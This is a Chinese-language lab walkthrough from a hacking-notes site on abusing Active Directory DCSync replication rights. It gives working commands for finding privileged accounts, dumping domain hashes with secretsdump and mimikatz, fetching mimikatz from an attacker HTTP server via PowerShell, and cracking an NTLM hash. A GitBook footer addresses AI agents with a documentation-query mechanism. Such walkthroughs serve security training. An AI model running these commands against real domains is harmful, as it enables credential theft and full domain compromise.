> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# DCSync 利用

#### DCSync 原理

在 Active Directory 中，域控制器必须相互同步，以保持数据库一致。

例如，当对某个域控制器进行了更改时，这一更改必须复制到其他域控制器。

这种复制尤其涉及：

* 用户；
* 组；
* 密码哈希；
* Active Directory 属性；
* 域中的对象；
* 域正常运行所需的信息。

#### 2. 为什么 DCSync 很敏感

一个 **DCSync** 攻击或技术涉及滥用 Active Directory 的复制权限。

通常，只有域控制器才能查询这些敏感信息。

但如果某个用户或组拥有过高的复制权限，它就可以表现得像域控制器一样，并从 AD 中查询敏感数据。

重要权限包括：

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

这些权限可使你从域中检索关键数据。

#### 3. 实验室目标

在这个实验中，目标是识别哪些用户或组拥有 DCSync 权限。

我们将使用 **BloodHound** 以找出拥有这些权限的账户。

#### 4. 在 BloodHound 中搜索具有 DCSync 权限的账户

在 BloodHound 中，你可以使用以下预定义查询：

```bash
查找拥有 DCSync 权限的主体
```

<figure><img src="/files/2cfe06ffe18e4a2ee3f09539c7efc1209b823209" alt=""><figcaption></figcaption></figure>

该查询会识别在域上拥有复制权限的主体——用户、组或计算机。

<figure><img src="/files/7e8ab3233e7fc687cf3e93a38cb96cd66d302b3f" alt=""><figcaption></figcaption></figure>

#### 5. 使用 PowerView 搜索

使用 PowerView，也可以通过以下命令识别拥有这些权限的账户：

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

该命令会显示与 Active Directory 复制相关权限的对象。

<figure><img src="/files/a99c1150081c7d1f2300903991cad583020fdbe6" alt=""><figcaption></figcaption></figure>

#### 6. 更改目标账户的密码

在实验中，我们随后更改所识别账户的密码，以便能够将其用于利用。

使用的密码：

```
Password1@
```

#### 7. 使用 secretsdump 进行远程利用

然后你可以使用 `secretsdump.py` 远程使用 DCSync 权限：

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

这使得能够恢复通过该账户复制权限可访问的敏感信息。

<figure><img src="/files/4e01630f6ab419cbffbb0844bd82785172bb7f75" alt=""><figcaption></figcaption></figure>

#### 8. 在 Windows 机器上使用 Mimikatz

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

然后我们将 Mimikatz 下载为一个 `.zip` 压缩包，然后把可执行文件传输到实验室的 Windows 机器上。

在攻击机上，我们启动一个 HTTP 服务器：

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

从 Windows 机器上，我们下载可执行文件

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

然后我们执行它：

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="/files/9a83aac9a832a10583be5900f4e3424a88e365c7" alt=""><figcaption></figcaption></figure>

#### 9. 获取管理员哈希

使用 Mimikatz，你可以查询某个特定用户的秘密复制，例如管理员账户：

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="/files/f1ede3cfec36f3cef47ed1c932c7ba97f5cf8ad8" alt=""><figcaption></figcaption></figure>

#### 10. 获取所有用户的哈希

也可以查询域中所有用户的信息：

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="/files/3d62c6f21830dd439b00c2db51daf319214f6ab2" alt=""><figcaption></figcaption></figure>

#### 12. 为破解准备哈希

然后我们将恢复的哈希放入一个与 John the Ripper 兼容格式的文件中：

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

然后我们开始破解 NTLM 哈希：

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="/files/67d395a4330234d699a4a7bd0485091580438d38" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
